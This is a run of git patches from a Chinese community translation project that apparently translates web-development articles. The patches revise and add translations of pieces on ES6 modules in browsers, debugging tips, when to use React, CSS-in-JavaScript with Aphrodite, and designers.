-ES6 模块由 ECMAScript 标准制定，直到[最近才定稿](http://2ality.com/2014/09/es6-modules-final.html)。社区为它写了很多的文章，讲解如何通过 Babel 使用它们，以及 `import` 和 Node.js 的  `require` 的区别。但是要在浏览器中真正实现它还需要一点时间。我惊喜地发现 Safari 在它的 technology preview 版本中第一个装载了 ES6 模块，并且 Edge 和 Firefox Nightly 版本也将要装载 ES6 模块——虽然目前还不支持。在使用 `RequireJS` 和 `Browserify` 之类的（还记得关于 [AMD 与 CommonJS  的讨论吗](https://addyosmani.com/writing-modular-js/)？）工具后，模块化支持似乎最终抵达了浏览器。让我们来看看明朗的未来带来了怎样的礼物吧！🎉
+ES6 模块由 ECMAScript 标准制定，[定稿有些时日了](http://2ality.com/2014/09/es6-modules-final.html)。社区为它写了很多的文章，讲解如何通过 Babel 使用它们，以及 `import` 和 Node.js 的  `require` 的区别。但是要在浏览器中真正实现它还需要一点时间。我惊喜地发现 Safari 在它的 technology preview 版本中第一个装载了 ES6 模块，并且 Edge 和 Firefox Nightly 版本也将要支持 ES6 模块——虽然目前还不支持。在使用 `RequireJS` 和 `Browserify` 之类的（还记得关于 [AMD 与 CommonJS  的讨论吗](https://addyosmani.com/writing-modular-js/)？）工具后，浏览器终于能支持模块了。让我们来看看明朗的未来带来了怎样的礼物吧！🎉
 
 ## 传统方法 ##
 
@@ -58,7 +58,7 @@ export default function() {
 }
 ```
 
-这个 app 将会显示“Hello world”，以此告诉我们文件加载完成。
+这个 app 将会显示“Hello world”。在下文中显示“Hello world” 即表示脚本加载成功。
 
 ### 装载一个代码包（bundle） ###
 
@@ -170,11 +170,11 @@ import dep1 from './dep-1.js';
 这儿有几个问题。首先，JavaScript 在 ES6 模块中运行与平常在 script 元素中不同。Axel Rauschmayer 在[他的探索 ES6 一书](http://exploringjs.com/es6/ch_modules.html#sec_modules-vs-scripts)中很好地讨论了这个问题。我推荐你点击上面的链接阅读这本书，但是在此我先快速地总结一下主要的不同点：
 
 - ES6 模块默认在严格模式下运行（因此你不需要加上 `use strict` 了）。
-- `this` 指向的最高一级对象是 `undefined`（而不是 window）。
+- 最外层的 `this` 指向 `undefined`（而不是 window）。
 - 最高级变量是 module 的局部变量（而不是 global）。
 - ES6 模块会在浏览器完成 HTML 的分析之后异步加载与执行。
 
-我认为，这些特性是巨大进步。模块是局部的——这意味着我们不再需要到处使用 IIFE 了，而且我们不用再担心全局变量泄露。而且默认在严格模式下运行，意味着我们可以在很多地方抛弃  `use strict` 声明。
+我认为，这些特性是巨大进步。模块是局部的——这意味着我们不再需要到处使用 IIFE 了，而且我们不用再担心全局变量泄露。而且默认在严格模式下运行，意味着我们可以在很多地方抛弃 `use strict` 声明。
 
 > 译注：IIFE 全称 immediately-invoked function expression，即立即执行函数，也就是大家熟知的在函数后面加括号。
 
@@ -197,13 +197,13 @@ import dep1 from './dep-1.js';
 </script>
 ```
 
-如果你想详细了解这方面内容，可以阅读 [script 元素说明书](https://html.spec.whatwg.org/multipage/scripting.html#the-script-element)，这篇文章简单易读，并且包含了一些示例。
+如果你想详细了解这方面内容，可以阅读 [script 元素说明](https://html.spec.whatwg.org/multipage/scripting.html#the-script-element)，这篇文章简单易读，并且包含了一些示例。
 
 ## 压缩纯 ES6 代码 ##
 
 还没完！我们现在能为 Chrome 提供压缩过的代码包，但是还不能为 Safari Preview 提供单独压缩过的文件。我们如何让这些文件变得更小呢？UglifyJS 能完成这项任务吗？
 
-然而必须指出，UglifyJS 并不能完全处理好 ES6 代码。虽然它有个 `harmony` 分支（[地址](https://github.com/mishoo/UglifyJS2/tree/harmony)）支持ES6，但不幸的是在我写这 3 个 JavaScript 文件的时候它并不能正常工作。
+然而必须指出，UglifyJS 并不能完全处理好 ES6 代码。虽然它有个 `harmony` 开发版分支（[地址](https://github.com/mishoo/UglifyJS2/tree/harmony)）支持ES6，但不幸的是在我写这 3 个 JavaScript 文件的时候它并不能正常工作。
 
 ```
 $ uglifyjs dep-1.js -o dep-1.min.js
@@ -260,7 +260,7 @@ $ ll dist/modules
 
 对单个 JS 文件进行压缩取得了很好的效果。文件大小从 856B 降低到了 298B，但是我们还能进一步地加快加载速度。通过使用 ES6 模块，我们可以装载更少的代码，但是看看瀑布图你会发现，request 会按照模块的依赖链一个一个连续地加载。
 
-那如果我们像之前在浏览器中对代码进行预加载那样，用  `<link rel="preload" as="script">` 元素告知浏览器要加载额外的 request，是否会加快模块的加载速度呢？在 Webpack 中，我们已经有了类似的工具，比如 Addy Osmani 的 [Webpack 预加载插件](https://github.com/GoogleChrome/preload-webpack-plugin)可以对分割的代码进行预加载，那 ES6 模块有没有类似的方法呢？如果你还不清楚 `rel="preload"` 是如何运作的，你可以先阅读 Yoav Weiss 在 Smashing Magazine 发表的相关文章：[点击阅读](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)
+那如果我们像之前在浏览器中对代码进行预加载那样，用 `<link rel="preload" as="script">` 元素告知浏览器要加载额外的 request，是否会加快模块的加载速度呢？在 Webpack 中，我们已经有了类似的工具，比如 Addy Osmani 的 [Webpack 预加载插件](https://github.com/GoogleChrome/preload-webpack-plugin)可以对分割的代码进行预加载，那 ES6 模块有没有类似的方法呢？如果你还不清楚 `rel="preload"` 是如何运作的，你可以先阅读 Yoav Weiss 在 Smashing Magazine 发表的相关文章：[点击阅读](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)
 
 但是，ES6 模块的预加载并不是那么简单，他们与普通的脚本有很大的不同。那么问题来了,对一个 link 元素加上  `rel="preload"` 将会怎样处理 ES6 模块呢？它也会取出所有的依赖文件吗？这个问题显而易见（可以），但是使用 `preload` 命令加载模块，需要解决更多浏览器的内部实现问题。[Domenic Denicola](https://twitter.com/domenic) 在[一个 GitHub issue](https://github.com/whatwg/fetch/issues/486) 中讨论了这方面的问题，如果你感兴趣的话可以点进去看一看。但是事实证明，使用 `rel="preload"` 加载脚本与加载 ES6 模块是截然不同的。可能以后最终的解决方案是用另一个 `rel="modulepreload"` 命令来专门加载模块。在本文写作时，[这个 pull request](https://github.com/whatwg/html/pull/2383) 还在审核中，你可以点进去看看未来我们可能会怎样进行模块的预加载。
 
@@ -297,7 +297,7 @@ document.body.appendChild(getComponent());
 
 ### 压缩工作仅对大文件表现良好 ###
 
-如果你仔细看上面 Safari 开发者工具的截图，你可能会注意到转换后的文件大小其实比源码还要大。在很大的 JavaScript app 中这个现象会更加明显，一堆的小 Chunk 会造成文件大小的很大不同，因为 GZIP 并不能很好地压缩小文件。
+如果你仔细看上面 Safari 开发者工具的截图，你可能会注意到传输后的文件大小其实比源码还要大。在很大的 JavaScript app 中这个现象会更加明显，一堆的小 Chunk 会造成文件大小的很大不同，因为 GZIP 并不能很好地压缩小文件。
 
 Khan Academy 在前一段时间[探究了同样的问题](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)，他是用 HTTP/2 进行研究的。装载更小的文件能够很好地确保缓存命中率，但到最后它一般都会作为一个权衡方案，而且它的效果会被很多因素影响。对于一个很大的代码库来说，分解成若干个 chunk（一个 *vendor* 文件和一个 app bundle）是理所当然的，但是要装载数千个不能被压缩的小文件可能并不是一种明智的方法。
 
@@ -325,7 +325,7 @@ ES6 模块即将到来，但是直到它最终在各大主流浏览器中实现
 
 不要把所有东西都进行分割然后就假设它会改善性能。我们即将迎来 ES6 模块的浏览器原生支持，但是这不意味着我们可以抛弃构建过程与合适的打包策略。在我们 Contentful 这儿，将继续坚持我们的构建过程，以及继续使用我们的  [JavaScript SDKs](https://www.contentful.com/developers/docs/javascript/) 进行打包。
 
-然而，我们必须承认现在前端的开发体验仍然良好。JavaScript 仍在进步，最终我们将能使用真正融入语言的模块。在几年后，原生模块对 JavaScript 生态的影响以及最佳实践方法将会是怎样的呢？让我们拭目以待。
+然而，我们必须承认现在前端的开发体验仍然良好。JavaScript 仍在进步，最终我们将能够使用语言本身提供的模块系统。在几年后，原生模块对 JavaScript 生态的影响以及最佳实践方法将会是怎样的呢？让我们拭目以待。
 
 ## 其它资源 ##
 

From 8a1b37539029d249bec77be9705b1d4ee1902e2f Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Thu, 27 Apr 2017 09:42:03 +0800
Subject: [PATCH 277/638] Update debugging-tips-tricks.md

---
 TODO/debugging-tips-tricks.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
index 0c8afa5cdbe..3f1843c1112 100644
--- a/TODO/debugging-tips-tricks.md
+++ b/TODO/debugging-tips-tricks.md
@@ -31,7 +31,7 @@
 
 ![Step into the next function call](https://cdn.css-tricks.com/wp-content/uploads/2017/04/stepintonextfunctioncall.gif)
 
-古老，好用的 `console.log` 另一种隔离的方法。（PHP 中是 `echo`，python 中是 `print` ……）。你可以一小片一小片地执行代码并对你的假设进行测试，或者检查看有什么东西发生了变化。这可能是最耗费时间的测试方式了。但是无论你的水平如何高，你还是得乖乖用它。ES6 的箭头函数也可以加速我们的 debug 游戏，它让我们可以在控制台中更方便地写单行代码。
+古老，好用的 `console.log` 是另一种隔离的方法。（PHP 中是 `echo`，python 中是 `print` ……）。你可以一小片一小片地执行代码并对你的假设进行测试，或者检查看有什么东西发生了变化。这可能是最耗费时间的测试方式了。但是无论你的水平如何高，你还是得乖乖用它。ES6 的箭头函数也可以加速我们的 debug 游戏，它让我们可以在控制台中更方便地写单行代码。
 
 `console.table` 函数也是我最喜欢的工具之一。当你有大量的数据（例如很长的数组、巨大的对象等等）需要展示的时候，它特别有用。`console.dir` 函数也是个不错的选择。它可以把一个对象的属性以可交互的形式展示出来。
 

From 81aee24492ce655d623d42d830783c2353a9a05e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 27 Apr 2017 10:10:33 +0800
Subject: [PATCH 278/638] =?UTF-8?q?=E6=9B=B4=E6=8D=A2=E5=9B=BE=E7=89=87?=
 =?UTF-8?q?=E5=9C=B0=E5=9D=80?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/a-case-for-using-storyboards-on-ios.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/a-case-for-using-storyboards-on-ios.md b/TODO/a-case-for-using-storyboards-on-ios.md
index 9c29d17904d..36b67970b7b 100644
--- a/TODO/a-case-for-using-storyboards-on-ios.md
+++ b/TODO/a-case-for-using-storyboards-on-ios.md
@@ -136,9 +136,9 @@ So for those of you who want the benefits or storyboards, but want to minimize t
 
 *If you liked this one, check out some some other articles from my team:*
 
-[![Markdown](http://i4.buimg.com/1949/a68c5bee9aecbe65.png)](https://medium.cobeisfresh.com/how-to-win-a-hackathon-tips-tricks-8cd391e18705)
+[![](http://ww3.sinaimg.cn/large/006tNbRwgy1ff10iqm6lxj315a0ai76b.jpg)](https://medium.cobeisfresh.com/how-to-win-a-hackathon-tips-tricks-8cd391e18705)
 
-[![Markdown](http://i4.buimg.com/1949/d5fb464e8b33d195.png)](https://medium.cobeisfresh.com/accessing-types-from-extensions-in-swift-32ca87ec5190)
+[![](http://ww4.sinaimg.cn/large/006tNbRwgy1ff10jmsrsej314c0aa0ud.jpg)](https://medium.cobeisfresh.com/accessing-types-from-extensions-in-swift-32ca87ec5190)
 
 
 

From c1d4ced9e78f33e7e1cd19b2e158d217799b0fde Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Thu, 27 Apr 2017 23:21:47 +0800
Subject: [PATCH 279/638] Create project-need-react.md

---
 TODO/project-need-react.md | 120 +++++++++++++++++++++++++++++++++++++
 1 file changed, 120 insertions(+)
 create mode 100644 TODO/project-need-react.md

diff --git a/TODO/project-need-react.md b/TODO/project-need-react.md
new file mode 100644
index 00000000000..f861a660328
--- /dev/null
+++ b/TODO/project-need-react.md
@@ -0,0 +1,120 @@
+> * 原文地址：[When Does a Project Need React?](https://css-tricks.com/project-need-react/)
+> * 原文作者：[CHRIS COYIER](https://css-tricks.com/author/chriscoyier/)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# When Does a Project Need React? #
+
+You know when a project needs HTML and CSS, because it's all of them. When you reach for JavaScript is fairly clear: when you need interactivity or some functionality that only JavaScript can provide. It used to be fairly clear when we reached for libraries. We reached for jQuery to help us simplify working with the DOM, Ajax, and handle cross-browser issues with JavaScript. We reached for underscore to give us helper functions that the JavaScript alone didn't have.
+
+As the need for these libraries fades, and we see a massive rise in new frameworks, I'd argue it's not as clear **when to reach for them**. At what point do we need React?
+
+I'm just going to use React as a placeholder here for kinda large JavaScript framework thingies. Vue, Ember, Svelte... whatever. I understand they aren't all the same, but when to reach for them I find equally nebulous.
+
+Here's my take.
+
+### ✅ Because there is lots of state. ###
+
+Even "state" is a bit of a nebulous word. Imagine things like this:
+
+- Which navigation item is active
+- Whether a button is disabled or not
+- The value of an input
+- Which accordion sections are expanded
+- When an area is loading
+- The user that is logged in and the team they belong to
+- Whether the thing the user is working on is published, or a draft
+
+"Business logic"-type stuff that we regularly deal with. State can also be straight up content:
+
+- All the comments on an article and the bits and bobs that make them up
+- The currently viewed article and all its metadata
+- An array of related articles and the metadata for those
+- A list of authors
+- An an activity log of recent actions a user has taken
+
+React doesn't help you *organize* that state, it just says: I know you need to *deal* with state, so let's just *call* it state and have programmatic ways to set and get that state.
+
+Before React, we might have *thought* in terms of state, but, for the most part, didn't manage it as a direct concept.
+
+Perhaps you've heard the phrase "single source of truth"? A lot of times we treated the DOM as our single source of truth. For example, say you need to know if a form on your website is able to be submitted. Maybe you'd check to see if `$(".form input[type='submit']).is(":disabled")` because all your business logic that dealt with whether or not the form could be submitted or not ultimately changed the disabled attribute of that button. So the button became this defacto source of truth for the state of your app. 
+
+Or say you needed to figure of the name of the first comment author on an article. Maybe you'd write `$(".comments > ul > li:first > h3.comment-author).text()` because the DOM is the only place that knows that information.
+
+React kinda tells us: 
+
+1. Let's start thinking about all that stuff as state. 
+2. I'll do ya one better: state is a chunk of JSON, so it's easy to work with and probably works nicely with your back end.
+3. And one more even better: You build your HTML using bits of that state, and you won't have to deal with the DOM directly at all, I'll handle all that for you (and likely do a better/faster job than you would have.)
+
+### ✅ To Fight Spaghetti. ###
+
+This is highly related to the state stuff we were just talking about. 
+
+"Spaghetti" code is when code organization and structure has gotten away from you. Imagine, again, a form on your site. It has some business logic stuff that specifically deals with the inputs inside of it. Perhaps there is a number input that, when changed, display the result of some calculation beside it. The form can also be submitted and needs to be validated, so perhaps that code is in a validation library elsewhere. Perhaps you disable the form until you're sure all JavaScript has loaded elsewhere, and that logic is elsewhere. Perhaps when the form is submitted, you get data back and that needs logic and handling. Nothing terribly surprising here, but you can see how this can get confusing quickly. How does a new dev on the project, looking at that form, reason out everything that is going on?
+
+React encourages the use of building things into modules. So this form would likely either be a module of its own or comprised of other smaller modules. Each of them would handle the logic that is directly relevant to it. 
+
+React says: *well, you aren't going to be watching the DOM directly for changes and stuff, because the DOM is mine and you don't get to work with it directly*. Why don't you start thinking of these things as part of the state, change state when you need to, and I'll deal with the rest, rerendering what needs to be rerendered.
+
+It should be said that React itself doesn't entirely solve spaghetti. You can still have state in all kinds of weird places, name things badly, and connect things in weird ways. 
+
+In my limited experience, it's Redux that is the thing that really kills spaghetti. Redux says: I'll handle *all* the important state, totally globally, not module-by-module. I am the absolute source of truth. If you need to change state, there is quite a *ceremony* involved (I've heard it called that, and I like it.) There are reducers and dispatched actions and such. All changes follow the ceremony.
+
+If you go the Redux road (and there are variations of it, of course), you end up with really solid code. It's much harder to break things and there are clear trails to follow for how everything is wired together.
+
+### ✅ Lots of DOM management. ###
+
+Manually handling the DOM is probably the biggest cause of spaghetti code.
+
+1. Inject HTML over here!
+2. Rip something out over here!
+3. Watch this area for this event!
+4. Bind a new event over here!
+5. New incoming content! Inject again! Make sure it has the right event bindings!
+
+All these things can happen any time from anywhere in an app that's gone spaghetti. Real organization has been given up and it's back to the DOM as the source of truth. It's hard to know exactly what's going on for any given element, so everybody just asks the DOM, does what they need to do, and crosses their fingers it doesn't mess with somebody else.
+
+React says: you don't get to deal with the DOM directly. I have a virtual DOM and I deal with that. Events are bound directly to the elements, and if you need it to do something above and beyond something directly handle-able in this module, you can kind of ceremoniously call things in higher order modules, but that way, the breadcrumb trail can be followed.
+
+*Complicated* DOM management is another thing. Imagine a chat app. New chat messages might appear because a realtime database has new data from other chatters and some new messages have arrives. Or you've typed a new message yourself! Or the page is loading for the first time and old messages are being pulled from a local data store so you have something to see right away. Here's [a Twitter thread](https://twitter.com/mjackson/status/849636985740210177) that drives that home.
+
+### ❌ Just because. It's the new hotness. ###
+
+Learning something for the sake of learning something is awesome. Do that. 
+
+Building a project for clients and real human being users requires more careful consideration. 
+
+A blog, for example, *probably* has none of the problems and fits none of the scenarios that would make React a good fit. And because it's not a good fit, it's probably a *bad* fit, because it introduces complicated technology and dependencies for something that doesn't call for it.
+
+And yet, gray area. If that blog is a SPA ("Single Page App", e.g. no browser refreshing) that is built from data from a headless CMS and had fancy server-side rendering... well maybe that is React territory again.
+
+The web app CMS that makes that blog? Maybe a good choice for React, because of all the state.
+
+### ❌ I just like JavaScript and want to write everything in JavaScript. ###
+
+People get told, heck, I've told people: learn JavaScript. It's huge. It powers all kinds of stuff. There are jobs in it. It's not going anyway.
+
+It's only in recent web history that it's become possible to never leave JavaScript. You got Node.js on the server side. There are loads of projects that yank CSS out of the mix and handle styles through JavaScript. And with React, your HTML is in JavaScript too.
+
+All JavaScript! All hail JavaScript!
+
+That's cool and all, but again, just because you can doesn't mean you should. Not all projects call for this, and in fact, most probably don't. 
+
+### ☯️ That's what I know. ###
+
+(There are decent emojis for YES and NO, but MAYBE is tougher!)
+
+You're learning. Awesome. Everybody is. Keep learning. The more you know the more informed decisions you can make about what tech to use. 
+
+But sometimes you gotta build with what you know, so I ain't gonna ding ya for that.
+
+### ☯️ That's where the jobs are. ###
+
+Not everybody has a direct say in what technology is used on any given project. Hopefully, over time, you have influence in that, but that takes time. Eden says she [spent 2 years with Ember](https://twitter.com/edenthecat/status/849640183360352257) because that's where the jobs were. No harm in that. Everybody's gotta get paid, and Ember might have been a perfect fit for those projects.
+
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From e7fdfb44155c61b3700874cde1b5f7e6c9ef38ee Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Thu, 27 Apr 2017 23:44:07 +0800
Subject: [PATCH 280/638] translating

---
 ...t-the-future-of-component-based-styling.md | 51 ++++++++++++-------
 1 file changed, 32 insertions(+), 19 deletions(-)

diff --git a/TODO/css-in-javascript-the-future-of-component-based-styling.md b/TODO/css-in-javascript-the-future-of-component-based-styling.md
index 9da5e81bf28..ef3c032d366 100644
--- a/TODO/css-in-javascript-the-future-of-component-based-styling.md
+++ b/TODO/css-in-javascript-the-future-of-component-based-styling.md
@@ -1,30 +1,40 @@
 > * 原文地址：[CSS in JavaScript: The future of component-based styling](https://medium.freecodecamp.com/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
 > * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[bambooom](https://github.com/bambooom)
 > * 校对者：
 
-# CSS in JavaScript: The future of component-based styling #
+# JavaScript 中的 CSS：基于组件的样式的未来
 
 ![](https://cdn-images-1.medium.com/max/1000/1*yVKDbwtvfoakj3RZ9g8ARQ.png)
 
-Image by [@jonathanzwhite](https://twitter.com/JonathanZWhite)
+图片所属 [@jonathanzwhite](https://twitter.com/JonathanZWhite)
 
-By adopting inline styles, we can get all of the programmatic affordances of JavaScript.This gives us the benefits of something like a CSS pre-processor (variables, mixins, and functions). It also solves a lot of the problems that CSS has, such as global namespacing and styling conflicts.
+> By adopting inline styles, we can get all of the programmatic affordances of JavaScript.This gives us the benefits of something like a CSS pre-processor (variables, mixins, and functions). It also solves a lot of the problems that CSS has, such as global namespacing and styling conflicts.
 
-For a deep dive into the problems that CSS in JavaScript solves, check out the famous presentation: [React CSS in JS](https://speakerdeck.com/vjeux/react-css-in-js). For a case study on the performance improvements you get from Aphrodite, you can read [Inline CSS at Khan Academy: Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm). If you want to learn more about CSS in JavaScript best practices, check out [Airbnb’s styleguide](https://github.com/airbnb/javascript/tree/master/css-in-javascript).
+使用行内样式使我们可以获得 JavaScript 的所有编程支持。这给了我们类似 CSS 预处理器（变量、混入和函数）的好处。它也解决了 CSS 的很多问题，如全局命名空间和样式冲突。
 
-In addition we’ll be using inline JavaScript styles to build components to address some of the fundamentals of design I covered in one of my previous articles: [Before you can master design, you must first master the fundamentals](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda).
+> For a deep dive into the problems that CSS in JavaScript solves, check out the famous presentation: [React CSS in JS](https://speakerdeck.com/vjeux/react-css-in-js). For a case study on the performance improvements you get from Aphrodite, you can read [Inline CSS at Khan Academy: Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm). If you want to learn more about CSS in JavaScript best practices, check out [Airbnb’s styleguide](https://github.com/airbnb/javascript/tree/master/css-in-javascript).
 
-### A motivating example ###
+如果想要更深入了解 JavaScript 中的 CSS 所解决的问题，可以查看著名的演示幻灯：[React CSS in JS](https://speakerdeck.com/vjeux/react-css-in-js)。有关使用 Aphrodite 性能优化的案例研究，你可以阅读 [行内 CSS 在可汗学院：Aphrodite](http://engineering.khanacademy.org/posts/aphrodite-inline-css.htm)。如果你想了解更多，可以阅读 [Airbnb 的风格指南](https://github.com/airbnb/javascript/tree/master/css-in-javascript).
 
-Let’s start off with a simple example: creating and styling a button.
+> In addition we’ll be using inline JavaScript styles to build components to address some of the fundamentals of design I covered in one of my previous articles: [Before you can master design, you must first master the fundamentals](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda).
 
-Normally the component and its associated styles would go in the same file: `Button` and `ButtonStyles`. This is because they fall under the same concern: the view. However, for this example, I broke up the code into multiple gists to make it more digestible.
+此外，我们将使用行内 JavaScript 样式来构建组件，以解决我之前的一篇文章（[掌握设计之前，必须掌握基本原理](https://medium.freecodecamp.com/before-you-can-master-design-you-must-first-master-the-fundamentals-1981a2af1fda)）中涉及的一些设计基础问题。
 
-Here’s the button component:
+### 一个启发性的例子 ###
 
-```
+> Let’s start off with a simple example: creating and styling a button.
+
+让我们从一个简单的例子开始，构建一个按钮并给它添加样式。
+
+> Normally the component and its associated styles would go in the same file: `Button` and `ButtonStyles`. This is because they fall under the same concern: the view. However, for this example, I broke up the code into multiple gists to make it more digestible.
+
+一般来说，组件及其样式在同一个文件中：`Button` 和 `ButtonStyles`。这是因为他们都属于视图层。但是，下面的例子中，我将代码拆分成多个 gist，以便更容易理解。
+
+下面就是按钮组件：
+
+```javascript
 ...
 
 function Button(props) {
@@ -38,11 +48,13 @@ function Button(props) {
 }
 ```
 
-This is nothing unexpected — just a stateless React component. Where Aphrodite comes into play is in the `className` property. The function `css` takes in a `styles` object and converts it into css. The `styles` object is created with Aphrodite’s `StyleSheet.create({ ... })` function. You can see the output of `StyleSheet.create({ ... })` with this [Aphrodite playground](https://output.jsbin.com/qoseye?).
+> This is nothing unexpected — just a stateless React component. Where Aphrodite comes into play is in the `className` property. The function `css` takes in a `styles` object and converts it into css. The `styles` object is created with Aphrodite’s `StyleSheet.create({ ... })` function. You can see the output of `StyleSheet.create({ ... })` with this [Aphrodite playground](https://output.jsbin.com/qoseye?).
 
-**Here is the button stylesheet:**
+这没什么特别的，只是一个无状态的 React 组件。Aphrodite 起作用的地方是在 `className` 属性中。`css` 函数接受一个 `styles` 对象为参数并将其转换为 `css`。`styles` 对象是由 Aphrodite 的函数 `StyleSheet.create({ ... })` 创建的，你可以用 [Aphrodite playground](https://output.jsbin.com/qoseye?) 来看下这个函数的输出结果。
 
-```
+**下面是按钮的样式表：**
+
+```javascript
 ...
 
 const gradient = 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)';
@@ -61,16 +73,17 @@ const styles = StyleSheet.create({
 });
 ```
 
-One of the benefits of Aphrodite is that migration is straightforward and the learning curve is low. Properties like `border-radius` become `borderRadius` and values become strings. Pseudo-selectors, media queries, and font definitions all work. In addition, vendor prefixes are added automatically.
+> One of the benefits of Aphrodite is that migration is straightforward and the learning curve is low. Properties like `border-radius` become `borderRadius` and values become strings. Pseudo-selectors, media queries, and font definitions all work. In addition, vendor prefixes are added automatically.
 
-**Here is the result:**
+Aphrodite 的优势之一就是迁移是很直观的，学习曲线很平缓。类似 `border-radius`  变成 `borderRadius`，值变成字符串。伪类选择器、媒体查询、字体定义都可以正常工作。另外也自动添加浏览器引擎前缀。
 
-![](https://cdn-images-1.medium.com/max/800/1*x1ccRv9UGvcxBvz4TvC4Qg.png)
+**下面就是按钮的样子：**
 
-[One of the benefits of Aphrodite is that migration is straightforward and the learning curve is low.](https://twitter.com/JonathanZWhite)
+![](https://cdn-images-1.medium.com/max/800/1*x1ccRv9UGvcxBvz4TvC4Qg.png)
 
-With this example in mind, **let’s take a look at how we can use Aphrodite to build a basic visual design system**, focusing on the following design fundamentals: typography and spacing.
+> With this example in mind, **let’s take a look at how we can use Aphrodite to build a basic visual design system**, focusing on the following design fundamentals: typography and spacing.
 
+以这个例子为基础，**让我们来看看我们如何使用 Aphrodite 来构建一个基本的视觉设计系统**，着重关注字体排版和间距两个设计基础元素。
 
 ### Fundamental №1 —Typography ###
 

From 3169c551bc31cf26e6fdd12ecc3e4bfb6c1862a5 Mon Sep 17 00:00:00 2001
From: ylq167 <ylq950327@gmail.com>
Date: Fri, 28 Apr 2017 15:48:42 +0800
Subject: [PATCH 281/638] =?UTF-8?q?=E5=88=9D=E7=A8=BF=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/everyone-is-a-designer-get-over-it.md | 35 +++++++++++++++++++++-
 1 file changed, 34 insertions(+), 1 deletion(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index aee8b2663cd..3d731931f0d 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -8,78 +8,111 @@
 ![](https://cdn-images-1.medium.com/max/2000/1*xIoFsnWI_2-1VOy00a2KrQ.jpeg)
 
 Photo by Alice Achterhof [via Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)
+图片作者 Alice Achterhof [来自于 Unsplash](https://unsplash.com/search/designer-paint?photo=FwF_fKj5tBo)
 
 # Everyone is a designer. Get over it. #
+# 人人都是设计师。忘了它吧。#
 
 Recently, [Jared Spool](https://www.uie.com/about/) caught my attention with [an article](https://articles.uie.com/signup/)  about how Netflix’s performance engineers are *actually designers*. It’s a provocative idea, but it makes sense. His argument is that everyone in your organization (including performance engineers) designs the product, not just the people with “design” in their job titles.
+最近，[Jared Spool](https://www.uie.com/about/) 通过一篇关于 Netflix 的性能工程师竟然是**设计师**的[文章](https://articles.uie.com/signup/)吸引了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是职位为「设计」的人。
 
 ![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)
 
 From some of the reactions, you might think Jared had kidnapped someone’s baby for ritual sacrifice. What exactly did Jared write?
+从一些反应中，你可能会认为 Jared 绑架了一些人的宝贝用来献祭。Jared 到底写了什么呢？
 
 > The members of this team are performance engineers. They are architecting, engineering, and maintaining the performance of a very complex system. It occupies all their time and then some. In systems engineering, there are few jobs more technical than these.
+> 这个团队的成员都是性能工程师。他们架设，开发，维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
 
 > And yet, at the very moment that a Netflix viewer’s video stream stops and that spinning animation appears, indicating the player is now awaiting more data, these engineers make a dramatic change. **They become user experience designers.**
+> 然而，在 Netflix 观众的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师发生了戏剧性的转变，**他们变成了用户体验设计师。**
 
 I made that last sentence bold — because it’s really important. Some designers are uncomfortable with the idea that an engineer or a salesperson or a CFO could be a *designer*.
+我把最后一句话加粗了，因为这真的很重要。一些设计师对工程师或销售人员或财务官可能是「设计师」的想法感到不适。
 
 ![](https://cdn-images-1.medium.com/max/800/1*ErZDaGRy3mJ19jGdWqeJgA@2x.png)
 
 Common reactions
+常见的反应
 
 Whether you like it or not, whether you approve it or not, people outside of your design team are making significant *design* choices that affect your customers in important ways. They are *designing* your product. They are *designers*.
+不管你是不是喜欢，也不管你是不是同意，设计团队以外的人都会以重要的方式通过重大的**设计**决策来影响你的客户。
 
